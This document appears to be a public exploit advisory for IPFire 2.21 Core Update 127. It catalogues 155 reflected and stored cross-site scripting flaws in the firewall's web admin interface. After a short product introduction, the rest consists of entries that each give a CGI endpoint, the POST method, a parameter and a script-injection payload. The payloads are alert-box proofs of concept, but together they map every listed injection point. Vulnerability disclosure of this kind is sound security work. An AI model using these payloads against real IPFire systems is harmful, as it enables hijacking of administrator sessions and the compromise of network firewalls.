##################################################################################################################################
# Exploit Title: IPFire 2.21 - Core Update 127 | Cross-Site Scripting
# Date: 08.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.ipfire.org
# Software Link:
https://downloads.ipfire.org/releases/ipfire-2.x/2.21-core127/ipfire-2.21.x86_64-full-core127.iso
# Version: IPFire 2.21 - Core Update 127
##################################################################################################################################

Introduction
IPFire is a Linux distribution that focusses on easy setup, good handling
and high level of security. It is operated via an intuitive web-based
interface which offers many configuration options for beginning and
experienced system administrators. IPFire is maintained by developers who
are concerned about security and who update the product regularly to keep
it secure. IPFire ships with a custom package manager called Pakfire and
the system can be expanded with various add-ons.


#################################################################################

XSS details: Reflected & Stored

#################################################################################

XSS1 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailsender

PAYLOAD
'"><script>alert(1)</script>

#################################################################################

XSS2 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_recipient

PAYLOAD
'><script>alert(2)</script>

#################################################################################

XSS3 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailserver

PAYLOAD
'><script>alert(3)</script>

#################################################################################

XSS4 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailport

PAYLOAD
'><script>alert(4)</script>

#################################################################################

XSS5 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailuser

PAYLOAD
'><script>alert(5)</script>

#################################################################################

XSS6 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailpass

PAYLOAD
'><script>alert(6)</script>

#################################################################################

XSS7 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
PROXY_PORT

PAYLOAD
'><script>alert(7)</script>

#################################################################################

XSS8 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
TRANSPARENT_PORT

PAYLOAD
'><script>alert(8)</script>

#################################################################################

XSS9 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
UPSTREAM_PROXY

PAYLOAD
'><script>alert(9)</script>

#################################################################################

XSS10 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
UPSTREAM_USER

PAYLOAD
'><script>alert(10)</script>

#################################################################################

XSS11 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
UPSTREAM_PASSWORD

PAYLOAD
'><script>alert(11)</script>

#################################################################################

XSS12 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
FILEDESCRIPTORS

PAYLOAD
'><script>alert(12)</script>

#################################################################################

XSS13 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
CACHE_MEM

PAYLOAD
'><script>alert(13)</script>

#################################################################################

XSS14 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
CACHE_SIZE

PAYLOAD
'><script>alert(14)</script>

#################################################################################

XSS15 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MIN_SIZE

PAYLOAD
'><script>alert(15)</script>

#################################################################################

XSS16 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MAX_SIZE

PAYLOAD
'><script>alert(16)</script>

#################################################################################

XSS17 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MAX_INCOMING_SIZE

PAYLOAD
'><script>alert(17)</script>

#################################################################################

XSS18 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MAX_OUTGOING_SIZE

PAYLOAD
'><script>alert(18)</script>

#################################################################################

XSS19 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
AUTH_CHILDREN

PAYLOAD
'><script>alert(19)</script>

#################################################################################

XSS20 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
AUTH_CACHE_TTL

PAYLOAD
'><script>alert(20)</script>

#################################################################################

XSS21 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
AUTH_ALWAYS_REQUIRED

PAYLOAD
'><script>alert(21)</script>

#################################################################################

XSS22 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
DST_NOAUTH

PAYLOAD
'><script>alert(22)</script>

#################################################################################

XSS23 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
NCSA_MIN_PASS_LEN

PAYLOAD
'><script>alert(23)</script>

#################################################################################

XSS24 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
NCSA_BYPASS_REDIR

PAYLOAD
'><script>alert(24)</script>

#################################################################################

XSS25 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_REQUIRED

PAYLOAD
'><script>alert(25)</script>

#################################################################################

XSS26 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_TIMEOUT

PAYLOAD
'><script>alert(26)</script>

#################################################################################

XSS27 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_HOSTS

PAYLOAD
'><script>alert(27)</script>

#################################################################################

XSS28 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_ENABLE_ACL

PAYLOAD
'><script>alert(28)</script>

#################################################################################

XSS29 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_USER_ACL

PAYLOAD
'><script>alert(29)</script>

#################################################################################

XSS30 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_ALLOW_USERS

PAYLOAD
'><script>alert(30)</script>

#################################################################################

XSS31 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
IDENT_DENY_USERS

PAYLOAD
'><script>alert(31)</script>

#################################################################################

XSS32 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
LDAP_TYPE

PAYLOAD
'><script>alert(32)</script>

#################################################################################

XSS33 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
LDAP_PORT

PAYLOAD
'><script>alert(33)</script>

#################################################################################

XSS34 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
RADIUS_PORT

PAYLOAD
'><script>alert(34)</script>

#################################################################################

XSS35 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
RADIUS_ENABLE_ACL

PAYLOAD
'><script>alert(35)</script>

#################################################################################

XSS36 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
RADIUS_USER_ACL

PAYLOAD
'><script>alert(36)</script>

#################################################################################

XSS37 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
RADIUS_ALLOW_USERS

PAYLOAD
'><script>alert(37)</script>

#################################################################################

XSS38 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
RADIUS_DENY_USERS

PAYLOAD
'><script>alert(38)</script>

#################################################################################

XSS39 | Stored

URL
https://192.168.2.200:444/cgi-bin/urlfilter.cgi

METHOD
Post

PARAMETER
REDIRECT_PAGE

PAYLOAD
'><script>alert(39)</script>

#################################################################################

XSS40 | Reflected

URL
https://192.168.2.200:444/cgi-bin/urlfilter.cgi

METHOD
Post

PARAMETER
BE_BLACKLIST

PAYLOAD
'><script>alert(40)</script>

#################################################################################

XSS41 | Reflected

URL
https://192.168.2.200:444/cgi-bin/updatexlrator.cgi

METHOD
Post

PARAMETER
MAX_DISK_USAGE

PAYLOAD
'><script>alert(41)</script>

#################################################################################

XSS42 | Reflected

URL
https://192.168.2.200:444/cgi-bin/updatexlrator.cgi

METHOD
Post

PARAMETER
MAX_DOWNLOAD_RATE

PAYLOAD
'><script>alert(42)</script>

#################################################################################

XSS43 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
START_ADDR_GREEN

PAYLOAD
'><script>alert(43)</script>

#################################################################################

XSS44 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
END_ADDR_GREEN

PAYLOAD
'><script>alert(44)</script>

#################################################################################

XSS45 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
DEFAULT_LEASE_TIME_GREEN

PAYLOAD
'><script>alert(45)</script>

#################################################################################

XSS46 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
MAX_LEASE_TIME_GREEN

PAYLOAD
'><script>alert(46)</script>

#################################################################################

XSS47 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
DOMAIN_NAME_GREEN

PAYLOAD
'><script>alert(47)</script>

#################################################################################

XSS48 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
DNS1_GREEN

PAYLOAD
'><script>alert(48)</script>

#################################################################################

XSS49 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
DNS2_GREEN

PAYLOAD
'><script>alert(49)</script>

#################################################################################

XSS50 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
NTP1_GREEN

PAYLOAD
'><script>alert(50)</script>

#################################################################################

XSS51 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
NTP2_GREEN

PAYLOAD
'><script>alert(51)</script>

#################################################################################

XSS52 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
WINS1_GREEN

PAYLOAD
'><script>alert(52)</script>

#################################################################################

XSS53 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
WINS2_GREEN

PAYLOAD
'><script>alert(53)</script>

#################################################################################

XSS54 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
NEXT_GREEN

PAYLOAD
'><script>alert(54)</script>

#################################################################################

XSS55 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FILE_GREEN

PAYLOAD
'><script>alert(55)</script>

#################################################################################

XSS56 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
ADVOPT_DATA

PAYLOAD
'><script>alert(56)</script>

#################################################################################

XSS57 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
KEY1

PAYLOAD
'><script>alert(57)</script>

#################################################################################

XSS58 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FIX_MAC

PAYLOAD
'><script>alert(58)</script>

#################################################################################

XSS59 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FIX_ADDR

PAYLOAD
'><script>alert(59)</script>

#################################################################################

XSS60 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FIX_REMARK

PAYLOAD
'><script>alert(60)</script>

#################################################################################

XSS61 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FIX_NEXTADDR

PAYLOAD
'><script>alert(61)</script>

#################################################################################

XSS62 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FIX_FILENAME

PAYLOAD
'><script>alert(62)</script>

#################################################################################

XSS63 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
FIX_ROOTPATH

PAYLOAD
'><script>alert(63)</script>

#################################################################################

XSS64 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dhcp.cgi

METHOD
Post

PARAMETER
KEY2

PAYLOAD
'><script>alert(64)</script>

#################################################################################

XSS65 | Reflected

URL
https://192.168.2.200:444/cgi-bin/captive.cgi

METHOD
Post

PARAMETER
TITLE

PAYLOAD
"><script>alert(65)</script>

#################################################################################

XSS66 | Reflected

URL
https://192.168.2.200:444/cgi-bin/captive.cgi

METHOD
Post

PARAMETER
COLOR

PAYLOAD
"><script>alert(66)</script>

#################################################################################

XSS67 | Stored

URL
https://192.168.2.200:444/cgi-bin/connscheduler.cgi

METHOD
Post

PARAMETER
ACTION_HOUR

PAYLOAD
<script>alert(67)</script>

#################################################################################

XSS68 | Stored

URL
https://192.168.2.200:444/cgi-bin/connscheduler.cgi

METHOD
Post

PARAMETER
ACTION_MINUTE

PAYLOAD
<script>alert(68)</script>

#################################################################################

XSS69 | Stored

URL
https://192.168.2.200:444/cgi-bin/connscheduler.cgi

METHOD
Post

PARAMETER
ACTION_DAYSTART

PAYLOAD
<script>alert(69)</script>

#################################################################################

XSS70 | Stored

URL
https://192.168.2.200:444/cgi-bin/connscheduler.cgi

METHOD
Post

PARAMETER
ACTION_DAYEND

PAYLOAD
<script>alert(70)</script>

#################################################################################

XSS71 | Reflected

URL
https://192.168.2.200:444/cgi-bin/hosts.cgi

METHOD
Post

PARAMETER
KEY1

PAYLOAD
'><script>alert(71)</script>

#################################################################################

XSS72 | Reflected

URL
https://192.168.2.200:444/cgi-bin/hosts.cgi

METHOD
Post

PARAMETER
IP

PAYLOAD
'><script>alert(72)</script>

#################################################################################

XSS73 | Reflected

URL
https://192.168.2.200:444/cgi-bin/hosts.cgi

METHOD
Post

PARAMETER
HOST

PAYLOAD
'><script>alert(73)</script>

#################################################################################

XSS74 | Reflected

URL
https://192.168.2.200:444/cgi-bin/hosts.cgi

METHOD
Post

PARAMETER
DOM

PAYLOAD
'><script>alert(74)</script>

#################################################################################

XSS75 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dns.cgi

METHOD
Post

PARAMETER
DNS0

PAYLOAD
"><script>alert(75)</script>

#################################################################################

XSS76 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dns.cgi

METHOD
Post

PARAMETER
DNS1

PAYLOAD
"><script>alert(76)</script>

#################################################################################

XSS77 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dnsforward.cgi

METHOD
Post

PARAMETER
ZONE

PAYLOAD
"><script>alert(77)</script>

#################################################################################

XSS78 | Reflected

URL
https://192.168.2.200:444/cgi-bin/dnsforward.cgi

METHOD
Post

PARAMETER
FORWARD_SERVERS

PAYLOAD
'><script>alert(78)</script>

#################################################################################

XSS79 | Reflected

URL
https://192.168.2.200:444/cgi-bin/routing.cgi

METHOD
Post

PARAMETER
KEY1

PAYLOAD
'><script>alert(79)</script>

#################################################################################

XSS80 | Reflected

URL
https://192.168.2.200:444/cgi-bin/routing.cgi

METHOD
Post

PARAMETER
GATEWAY

PAYLOAD
'><script>alert(80)</script>

#################################################################################

XSS81 | Reflected

URL
https://192.168.2.200:444/cgi-bin/routing.cgi

METHOD
Post

PARAMETER
REMARK

PAYLOAD
'><script>alert(81)</script>

#################################################################################

XSS82 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mac.cgi

METHOD
Post

PARAMETER
MAC

PAYLOAD
'><script>alert(82)</script>

#################################################################################

XSS83 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mac.cgi

METHOD
Post

PARAMETER
MAC1

PAYLOAD
'><script>alert(83)</script>

#################################################################################

XSS84 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mac.cgi

METHOD
Post

PARAMETER
MAC2

PAYLOAD
'><script>alert(84)</script>

#################################################################################

XSS85 | Reflected

URL
https://192.168.2.200:444/cgi-bin/wakeonlan.cgi

METHOD
Post

PARAMETER
CLIENT_MAC

PAYLOAD
'><script>alert(85)</script>

#################################################################################

XSS86 | Reflected

URL
https://192.168.2.200:444/cgi-bin/wakeonlan.cgi

METHOD
Post

PARAMETER
CLIENT_COMMENT

PAYLOAD
'><script>alert(86)</script>

#################################################################################

XSS87 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
TYPE

PAYLOAD
'><script>alert(87)</script>

#################################################################################

XSS88 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
IKE_VERSION

PAYLOAD
'><script>alert(88)</script>

#################################################################################

XSS89 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
IKE_ENCRYPTION

PAYLOAD
'><script>alert(89)</script>

#################################################################################

XSS90 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
IKE_INTEGRITY

PAYLOAD
'><script>alert(90)</script>

#################################################################################

XSS91 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
IKE_GROUPTYPE

PAYLOAD
'><script>alert(91)</script>

#################################################################################

XSS92 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
IKE_LIFETIME

PAYLOAD
'><script>alert(92)</script>

#################################################################################

XSS93 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ESP_ENCRYPTION

PAYLOAD
'><script>alert(93)</script>

#################################################################################

XSS94 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ESP_INTEGRITY

PAYLOAD
'><script>alert(94)</script>

#################################################################################

XSS95 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ESP_GROUPTYPE

PAYLOAD
'"><script>alert(95)</script>

#################################################################################

XSS96 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ESP_KEYLIFE

PAYLOAD
'><script>alert(96)</script>

#################################################################################

XSS97 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
COMPRESSION

PAYLOAD
'><script>alert(97)</script>

#################################################################################

XSS98 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ONLY_PROPOSED

PAYLOAD
'><script>alert(98)</script>

#################################################################################

XSS99 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
PFS

PAYLOAD
'><script>alert(99)</script>

#################################################################################

XSS100 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
DPD_ACTION

PAYLOAD
'><script>alert(100)</script>

#################################################################################

XSS101 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
DPD_DELAY

PAYLOAD
'><script>alert(101)</script>

#################################################################################

XSS102 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
DPD_TIMEOUT

PAYLOAD
'><script>alert(102)</script>

#################################################################################

XSS103 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
FORCE_MOBIKE

PAYLOAD
'><script>alert(103)</script>

#################################################################################

XSS104 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
NAME

PAYLOAD
'><script>alert(104)</script>

#################################################################################

XSS105 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
LOCAL_SUBNET

PAYLOAD
'><script>alert(105)</script>

#################################################################################

XSS106 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
REMOTE

PAYLOAD
'><script>alert(106)</script>

#################################################################################

XSS107 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
LOCAL_ID

PAYLOAD
'><script>alert(107)</script>

#################################################################################

XSS108 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
REMOTE_ID

PAYLOAD
'><script>alert(108)</script>

#################################################################################

XSS109 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
PSK

PAYLOAD
'><script>alert(109)</script>

#################################################################################

XSS110 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ROOTCERT_ORGANIZATION

PAYLOAD
'><script>alert(110)</script>

#################################################################################

XSS111 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ROOTCERT_HOSTNAME

PAYLOAD
'><script>alert(111)</script>

#################################################################################

XSS112 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ROOTCERT_EMAIL

PAYLOAD
'><script>alert(112)</script>

#################################################################################

XSS113 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ROOTCERT_OU

PAYLOAD
'><script>alert(113)</script>

#################################################################################

XSS114 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ROOTCERT_CITY

PAYLOAD
'><script>alert(114)</script>

#################################################################################

XSS115 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
ROOTCERT_STATE

PAYLOAD
'><script>alert(115)</script>

#################################################################################

XSS116 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
SUBJECTALTNAME

PAYLOAD
'><script>alert(116)</script>

#################################################################################

XSS117 | Reflected

URL
https://192.168.2.200:444/cgi-bin/vpnmain.cgi

METHOD
Post

PARAMETER
P12_PASS

PAYLOAD
'><script>alert(117)</script>

#################################################################################

XSS118 | Stored

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
VPN_IP

PAYLOAD
'><script>alert(118)</script>

#################################################################################

XSS119 | Stored

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
DMTU

PAYLOAD
'><script>alert(119)</script>

#################################################################################

XSS120 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
ccdname

PAYLOAD
'><script>alert(120)</script>

#################################################################################

XSS121 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
ccdsubnet

PAYLOAD
'><script>alert(121)</script>

#################################################################################

XSS122 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
DOVPN_SUBNET

PAYLOAD
'><script>alert(122)</script>

#################################################################################

XSS123 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
DHCP_DOMAIN

PAYLOAD
'><script>alert(123)</script>

#################################################################################

XSS124 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
DHCP_DNS

PAYLOAD
'><script>alert(124)</script>

#################################################################################

XSS125 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
DHCP_WINS

PAYLOAD
'><script>alert(125)</script>

#################################################################################

XSS126 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
ROUTES_PUSH

PAYLOAD
'><script>alert(126)</script>

#################################################################################

XSS127 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
FRAGMENT

PAYLOAD
'><script>alert(127)</script>

#################################################################################

XSS128 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
KEEPALIVE_1

PAYLOAD
'><script>alert(128)</script>

#################################################################################

XSS129 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ovpnmain.cgi

METHOD
Post

PARAMETER
KEEPALIVE_2

PAYLOAD
'><script>alert(129)</script>

#################################################################################

XSS130 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ddns.cgi

METHOD
Post

PARAMETER
ID

PAYLOAD
'><script>alert(130)</script>

#################################################################################

XSS131 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ddns.cgi

METHOD
Post

PARAMETER
HOSTNAME

PAYLOAD
'><script>alert(131)</script>

#################################################################################

XSS132 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ddns.cgi

METHOD
Post

PARAMETER
LOGIN

PAYLOAD
'><script>alert(132)</script>

#################################################################################

XSS133 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ddns.cgi

METHOD
Post

PARAMETER
PASSWORD

PAYLOAD
'><script>alert(133)</script>

#################################################################################

XSS134 | Stored

URL
https://192.168.2.200:444/cgi-bin/time.cgi

METHOD
Post

PARAMETER
NTP_ADDR_1

PAYLOAD
'><script>alert(134)</script>

#################################################################################

XSS135 | Stored

URL
https://192.168.2.200:444/cgi-bin/time.cgi

METHOD
Post

PARAMETER
NTP_ADDR_2

PAYLOAD
'><script>alert(135)</script>

#################################################################################

XSS136 | Stored

URL
https://192.168.2.200:444/cgi-bin/time.cgi

METHOD
Post

PARAMETER
UPDATE_VALUE

PAYLOAD
'><script>alert(136)</script>

#################################################################################

XSS137 | Reflected

URL
https://192.168.2.200:444/cgi-bin/ids.cgi

METHOD
Post

PARAMETER
OINKCODE

PAYLOAD
'><script>alert(137)</script>

#################################################################################

XSS138 | Stored

URL
https://192.168.2.200:444/cgi-bin/extrahd.cgi

METHOD
Post

PARAMETER
FS

PAYLOAD
'><script>alert(138)</script>

#################################################################################

XSS139 | Stored

URL
https://192.168.2.200:444/cgi-bin/extrahd.cgi

METHOD
Post

PARAMETER
PATH

PAYLOAD
'><script>alert(139)</script>

#################################################################################

XSS140 | Stored

URL
https://192.168.2.200:444/cgi-bin/extrahd.cgi

METHOD
Post

PARAMETER
UUID

PAYLOAD
'><script>alert(140)</script>

#################################################################################

XSS141 | Reflected

URL
https://192.168.2.200:444/cgi-bin/firewall.cgi

METHOD
Post

PARAMETER
src_addr

PAYLOAD
'><script>alert(141)</script>

#################################################################################

XSS142 | Reflected

URL
https://192.168.2.200:444/cgi-bin/firewall.cgi

METHOD
Post

PARAMETER
tgt_addr

PAYLOAD
'><script>alert(142)</script>

#################################################################################

XSS143 | Reflected

URL
https://192.168.2.200:444/cgi-bin/firewall.cgi

METHOD
Post

PARAMETER
SRC_PORT

PAYLOAD
'><script>alert(143)</script>

#################################################################################

XSS144 | Reflected

URL
https://192.168.2.200:444/cgi-bin/firewall.cgi

METHOD
Post

PARAMETER
TGT_PORT

PAYLOAD
'"><script>alert(144)</script>

#################################################################################

XSS145 | Reflected

URL
https://192.168.2.200:444/cgi-bin/firewall.cgi

METHOD
Post

PARAMETER
ruleremark

PAYLOAD
'><script>alert(145)</script>

#################################################################################

XSS146 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
HOSTNAME

PAYLOAD
'><script>alert(146)</script>

#################################################################################

XSS147 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
IP

PAYLOAD
'><script>alert(147)</script>

#################################################################################

XSS148 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
SUBNET

PAYLOAD
'><script>alert(148)</script>

#################################################################################

XSS149 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
NETREMARK

PAYLOAD
'><script>alert(149)</script>

#################################################################################

XSS150 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
HOSTREMARK

PAYLOAD
'><script>alert(150)</script>

#################################################################################

XSS151 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
newhost

PAYLOAD
'><script>alert(151)</script>

#################################################################################

XSS152 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
grp_name

PAYLOAD
'><script>alert(152)</script>

#################################################################################

XSS153 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
'><script>alert(153)</script>

#################################################################################

XSS154 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
SRV_NAME

PAYLOAD
'><script>alert(154)</script>

#################################################################################

XSS155 | Reflected

URL
https://192.168.2.200:444/cgi-bin/fwhosts.cgi

METHOD
Post

PARAMETER
SRV_PORT

PAYLOAD
'><script>alert(155)</script>

